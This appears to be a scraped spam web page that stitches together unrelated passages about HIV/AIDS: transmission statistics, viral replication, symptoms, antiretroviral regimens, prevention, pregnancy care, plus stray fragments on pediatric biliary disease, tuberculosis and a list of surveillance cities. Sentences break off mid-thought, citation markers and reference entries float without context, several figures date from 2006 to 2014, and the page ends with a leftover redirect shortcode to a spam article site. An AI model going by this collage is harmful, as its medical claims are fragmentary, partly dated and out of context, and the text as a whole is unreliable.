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Contributing to the increased cross-prevalence were persons with hemophilia who had been infected with from contaminated factor VIII concentrate and persons who used intravenous drugs, an activity that transcends all sexual preferences. In 2014, 70% of new HIV infections were reported in homosexual men, and infected heterosexual women outnumber infected heterosexual men nearly two to one. [72]

The HIV enzyme reverse transcriptase converts the viral RNA into DNA, which is compatible to human genetic material, when the virus is inside the cell. This DNA is transported to the cell’s nucleus, where it is spliced into human DNA by the HIV enzyme integrase. The HIV DNA is known as provirus after it is integrated.

Sub-Saharan Africa is the region most affected. In 2010, an estimated 68% (22.9 million) of all HIV cases and 66% of all deaths (1.2 million) occurred in this region.[209] This means that about 5% of the adult population is infected[210] and it is believed to be the cause of 10% of all deaths in children.[211] Here in contrast to other regions women compose nearly 60% of cases.[209] South Africa has the largest population of people with HIV of any country in the world at 5.9 million.[209] Life expectancy has fallen in the worst-affected countries due to HIV/AIDS; for example, in 2006 it was estimated that it had dropped from 65 to 35 years in Botswana.[19] Mother-to-child transmission, as of 2013, in Botswana and South Africa has decreased to less than 5% with improvement in many other African nations due to improved access to antiretroviral therapy.[212]

HIV is not spread to a person who donates blood or organs. People who donate organs are never in direct contact with the people who receive them. Likewise, a person who donates blood is never in contact with the person receiving it. In all of these procedures, sterile needles and instruments are used.

† During 2008–2015, 20 cities were included; during 2016, 17 cities were included. The following cities were included in all years: Atlanta, Georgia; Boston, Massachusetts; Dallas, Texas; Denver, Colorado; Los Angeles, California; Miami, Florida; Nassau–Suffolk, New York; New Orleans, Louisiana; Newark, New Jersey; Philadelphia, Pennsylvania; San Diego, California; San Francisco, California; San Juan, Puerto Rico; Washington, D.C. Additional cities were included as follows: 2008–2015, Baltimore, Maryland; Chicago, Illinois; Detroit, Michigan; Houston, Texas; New York City, New York; Seattle, Washington; 2016, Memphis, Tennessee; Portland, Oregon; Virginia Beach/Norfolk, Virginia.

You might not know if you are infected by HIV. Within a few weeks of being infected, some people get fever, headache, sore muscles and joints, stomach ache, swollen lymph glands, or a skin rash for one or two weeks. Most people think it’s the flu. Some people have no symptoms. Fact Sheet 103 has more information on the early stage of HIV infection.

People known to have HIV infection should go to the hospital any time they develop high fever, shortness of breath, coughing up blood, severe diarrhea, severe chest or abdominal pain, generalized weakness, severe headache, seizures, confusion, or a change in mental status. These may indicate a life-threatening condition for which an urgent evaluation in the hospital’s emergency department is recommended. All infected people should be under the regular care of a physician skilled in the treatment of HIV and AIDS.

Jump up ^ Baggaley RF, White RG, Boily MC (December 2008). “Systematic review of orogenital HIV-1 transmission probabilities”. International Journal of Epidemiology. 37 (6): 1255–65. doi:10.1093/ije/dyn151. PMC 2638872 . PMID 18664564.

12. Francioli, P. et al (1982) ‘Acquired immunologic deficiency syndrome, opportunistic infections and homosexuality. Presentation of 3 cases studied in Switzerland’ Schweizerische medizinische Wochenschrift 112(47):1682-1687

Safer sex behaviors may reduce the risk of acquiring the infection. There is a risk of acquiring the infection even if “safe sex” is practiced with the use of condoms. Abstinence is the only sure way to prevent sexual transmission of the virus.

Human immunodeficiency virus (HIV)-associated cholangiopathy has been described in children.25 As in adults, the biliary abnormalities include irregularities of contour and caliber of the intrahepatic and extrahepatic ducts and papillary stenosis. The changes may result from concomitant infection with opportunistic organisms such as cytomegalovirus and Cryptosporidium parvum. Ascariasis infestation may be the most prevalent biliary infection worldwide, although concentrated within tropical climates. Among 214 children admitted to hospital in northern India for management of hepatobiliary and pancreatic ascariasis, 20 (9%) underwent endoscopic and 7 (4%) surgical intervention.26

You don’t actually “get” AIDS. You might get infected with HIV, and later you might develop AIDS. You can get infected with HIV from anyone who’s infected, even if they don’t look sick and even if they haven’t tested HIV-positive yet. The blood, vaginal fluid, semen, and breast milk of people infected with HIV has enough of the virus in it to infect other people. Most people get the HIV virus by:

The most important thing you can do is start antiretroviral treatment as soon as possible. And it’s important to follow up with your doctor regularly. By taking your medications exactly as prescribed, you can keep your viral count low and your immune system strong.

Current HAART options are combinations (or “cocktails”) consisting of at least three medications belonging to at least two types, or “classes,” of antiretroviral agents.[149] Initially treatment is typically a non-nucleoside reverse transcriptase inhibitor (NNRTI) plus two nucleoside analog reverse transcriptase inhibitors (NRTIs).[150] Typical NRTIs include: zidovudine (AZT) or tenofovir (TDF) and lamivudine (3TC) or emtricitabine (FTC).[150] Combinations of agents which include protease inhibitors (PI) are used if the above regimen loses effectiveness.[149]

Studies of T-cell–replication kinetics have revealed that untreated HIV infection is characterized by rapid T-cell turnover but a defect in T-cell replication from the thymus. [35, 36, 37] These changes can be reversed with effective long-term antiviral therapy, [38, 39] suggesting that they are due to a direct effect of the virus or are a feature of the immune response against HIV.

Ruiz L, van Lunzen J, Arno A, et al. Protease inhibitor-containing regimens compared with nucleoside analogues alone in the suppression of persistent HIV-1 replication in lymphoid tissue. AIDS. 1999 Jan 14. 13(1):F1-8. [Medline].

Do not use intravenous drugs. If IV drugs are used, do not share needles or syringes. Many communities now have needle exchange programs where used syringes can be disposed of and new, sterile needles obtained for free. These programs can also provide referrals to addiction treatment.

All HIV-infected pregnant women should be managed by an obstetrician with experience in dealing with HIV-infected women. Maximal obstetric precautions to minimize transmission of the HIV virus, such as avoiding scalp monitors and minimizing labor after rupture of the uterine membranes, should be observed. In addition, the potential use of an elective Caesarean section (C-section) should be discussed, particularly in those women without good viral control of their HIV infection where the risk of transmission may be increased. Breastfeeding should be avoided if alternative nutrition for the infant is available since HIV transmission can occur by this route. When breastfeeding is done, it should be in conjunction with antiretroviral therapy for the mother if at all possible. Updated guidelines for managing HIV-infected women are updated on a regular basis and can be found at https://aidsinfo.nih.gov/.

Mycobacterium tuberculosis is the bacterium that causes tuberculosis (TB). Symptoms and signs of TB include bloody sputum, fever, cough, weight loss, and chest pain. Treatment depends upon the type of TB infection.

Although researchers were chastened by the realization that the drug regimen was not itself a cure, they recently found three unusual cases that were encouraging enough to make them keep trying. The first was that of Timothy Ray Brown. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]

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